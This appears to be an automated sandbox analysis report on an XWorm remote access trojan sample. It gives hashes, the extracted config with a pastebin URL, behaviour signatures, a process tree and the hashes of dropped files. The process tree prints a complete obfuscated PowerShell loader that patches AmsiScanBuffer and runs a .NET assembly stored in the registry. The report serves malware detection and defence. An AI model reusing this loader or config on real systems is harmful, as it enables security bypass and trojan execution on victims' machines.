Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 09:01

General

  • Target

    GBFJ2_DeadPayload.exe

  • Size

    500KB

  • MD5

    36656751a6f5235ee7733f649f2333f1

  • SHA1

    ce686bf0173d8fbc77bda352ec44021d1bc48630

  • SHA256

    fe2ab997f171c9095fd8bfa2f0355d12d336e4b98e3305836ae565d1a4667fb0

  • SHA512

    fb84cc76183a1a89017c1f33a95c0f8e040a422549f85b29a171373a909e3e8b9cbecfa428eeab42a6c816f77e522f168f2428622b2a35bc2e1324cd9e535b88

  • SSDEEP

    12288:U3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sdzO:OkGTy

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

QgVg78qW15uIsQ4H

Attributes
  • Install_directory

    %Public%

  • install_file

    ohh.exe

  • pastebin_url

    https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:600
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:60
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{10d0cb5c-801f-4c81-8ae7-5f36b69349c7}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:456
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:672
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:948
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:512
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:884
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1084
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1100
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1172
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:392
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GVFyUPMMMWPk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DAAyBTmBnsSWbu,[Parameter(Position=1)][Type]$XIIRPDmxxY)$dCcOhWFyKQV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'leg'+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+'m'+'o'+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+'l'+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'Ty'+'p'+''+'e'+'',''+[Char](67)+'lass'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+'A'+'ns'+[Char](105)+'Cl'+'a'+'s'+'s'+','+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+'l'+'a'+''+'s'+'s',[MulticastDelegate]);$dCcOhWFyKQV.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+'e'+[Char](99)+'i'+[Char](97)+'l'+'N'+''+[Char](97)+'m'+[Char](101)+',Hi'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+'i'+'g'+','+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DAAyBTmBnsSWbu).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+[Char](105)+''+[Char](109)+'e,M'+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+'d');$dCcOhWFyKQV.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+'i'+'d'+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+'N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$XIIRPDmxxY,$DAAyBTmBnsSWbu).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $dCcOhWFyKQV.CreateType();}$kpAITohezunIU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+[Char](97)+'tive'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+'o'+'d'+'s');$mKbyEDtueMrYks=$kpAITohezunIU.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+'o'+'c'+'A'+''+'d'+''+[Char](100)+'r'+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZbNoIyfnCuxdslKYool=GVFyUPMMMWPk @([String])([IntPtr]);$BMJyzLyUQhUNKWckMnRwgT=GVFyUPMMMWPk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cigTYNszlAI=$kpAITohezunIU.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'Ha'+[Char](110)+''+'d'+''+'l'+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+'2'+[Char](46)+''+'d'+'l'+[Char](108)+'')));$XoYUlrveeGntPI=$mKbyEDtueMrYks.Invoke($Null,@([Object]$cigTYNszlAI,[Object](''+'L'+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$HsJRDdygoaCaEsadA=$mKbyEDtueMrYks.Invoke($Null,@([Object]$cigTYNszlAI,[Object]('V'+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+'r'+'o'+[Char](116)+''+'e'+''+[Char](99)+'t')));$oDTfKxl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XoYUlrveeGntPI,$ZbNoIyfnCuxdslKYool).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$SnrURrQnXXXLAzTGw=$mKbyEDtueMrYks.Invoke($Null,@([Object]$oDTfKxl,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'B'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$YCfkHOKUTV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HsJRDdygoaCaEsadA,$BMJyzLyUQhUNKWckMnRwgT).Invoke($SnrURrQnXXXLAzTGw,[uint32]8,4,[ref]$YCfkHOKUTV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SnrURrQnXXXLAzTGw,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HsJRDdygoaCaEsadA,$BMJyzLyUQhUNKWckMnRwgT).Invoke($SnrURrQnXXXLAzTGw,[uint32]8,0x20,[ref]$YCfkHOKUTV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'TWA'+'R'+'E').GetValue('D'+[Char](101)+''+[Char](97)+'d'+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2244
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          3⤵
                            PID:2788
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                          PID:1212
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1280
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1332
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1364
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1428
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2996
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1448
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1464
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1472
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1648
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                            1⤵
                                              PID:1712
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1756
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1800
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1840
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1980
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1988
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:2040
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:1324
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:2084
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2096
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                                PID:2220
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2324
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2472
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                    1⤵
                                                                      PID:2484
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2628
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2704
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2716
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2740
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2748
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:2964
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:3032
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                1⤵
                                                                                  PID:1340
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                  1⤵
                                                                                    PID:3348
                                                                                  • C:\Windows\Explorer.EXE
                                                                                    C:\Windows\Explorer.EXE
                                                                                    1⤵
                                                                                    • Suspicious use of UnmapMainImage
                                                                                    PID:3436
                                                                                    • C:\Users\Admin\AppData\Local\Temp\GBFJ2_DeadPayload.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\GBFJ2_DeadPayload.exe"
                                                                                      2⤵
                                                                                      • Checks computer location settings
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1736
                                                                                      • C:\Users\Public\DeadMan.exe
                                                                                        "C:\Users\Public\DeadMan.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3148
                                                                                      • C:\Users\Public\DeadRoot.exe
                                                                                        "C:\Users\Public\DeadRoot.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1372
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3552
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3748
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3916
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3976
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                          1⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:4908
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:624
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                            1⤵
                                                                                              PID:4720
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:2536
                                                                                            • C:\Windows\system32\SppExtComObj.exe
                                                                                              C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                              1⤵
                                                                                                PID:3616
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                1⤵
                                                                                                  PID:440
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:3176
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                  1⤵
                                                                                                    PID:628
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                    1⤵
                                                                                                      PID:4692
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:3744
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:4896
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                          • Modifies registry class
                                                                                                          PID:2240
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe 634dbd6f9b3c80aa2029b5d36fc21621 Fu6ovjedg0+u1dmmL99B0g.0.1.0.0.0
                                                                                                          1⤵
                                                                                                            PID:3084
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:4892
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                              1⤵
                                                                                                                PID:856
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Enumerates system info in registry
                                                                                                                PID:5052
                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                1⤵
                                                                                                                  PID:1696
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                  1⤵
                                                                                                                    PID:1032
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4364
                                                                                                                  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:1692
                                                                                                                    • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                      1⤵
                                                                                                                        PID:404
                                                                                                                      • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                        1⤵
                                                                                                                          PID:3484
                                                                                                                        • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                          1⤵
                                                                                                                            PID:1876
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:4388

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\Users\Public\DeadMan.exe

                                                                                                                              Filesize

                                                                                                                              34KB

                                                                                                                              MD5

                                                                                                                              86596f8f255ec89d279b0824435e99ad

                                                                                                                              SHA1

                                                                                                                              828d881cd4e693004ef8285aec99ef741b7f12ea

                                                                                                                              SHA256

                                                                                                                              be04723ba31eb34aafe705d2ae69a8b76cd717f3d378c49eee960a86112b7a58

                                                                                                                              SHA512

                                                                                                                              ed8429cf751326a5b646e35c59c61b2b3a0fdd7179f6a9a33e0bc70526dd96a72e02c2456d480cb26a8c0cd5f641842a73073bd2dc246d038d3642cec14f4672

                                                                                                                            • C:\Users\Public\DeadRoot.exe

                                                                                                                              Filesize

                                                                                                                              151KB

                                                                                                                              MD5

                                                                                                                              b8479a23c22cf6fc456e197939284069

                                                                                                                              SHA1

                                                                                                                              b2d98cc291f16192a46f363d007e012d45c63300

                                                                                                                              SHA256

                                                                                                                              18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

                                                                                                                              SHA512

                                                                                                                              786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                              SHA1

                                                                                                                              98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                              SHA256

                                                                                                                              ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                              SHA512

                                                                                                                              c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              f313c5b4f95605026428425586317353

                                                                                                                              SHA1

                                                                                                                              06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                              SHA256

                                                                                                                              129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                              SHA512

                                                                                                                              b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                              SHA1

                                                                                                                              a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                              SHA256

                                                                                                                              98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                              SHA512

                                                                                                                              1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                              SHA1

                                                                                                                              63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                              SHA256

                                                                                                                              727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                              SHA512

                                                                                                                              f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                              SHA1

                                                                                                                              5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                              SHA256

                                                                                                                              55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                              SHA512

                                                                                                                              5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              0b990e24f1e839462c0ac35fef1d119e

                                                                                                                              SHA1

                                                                                                                              9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                              SHA256

                                                                                                                              a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                              SHA512

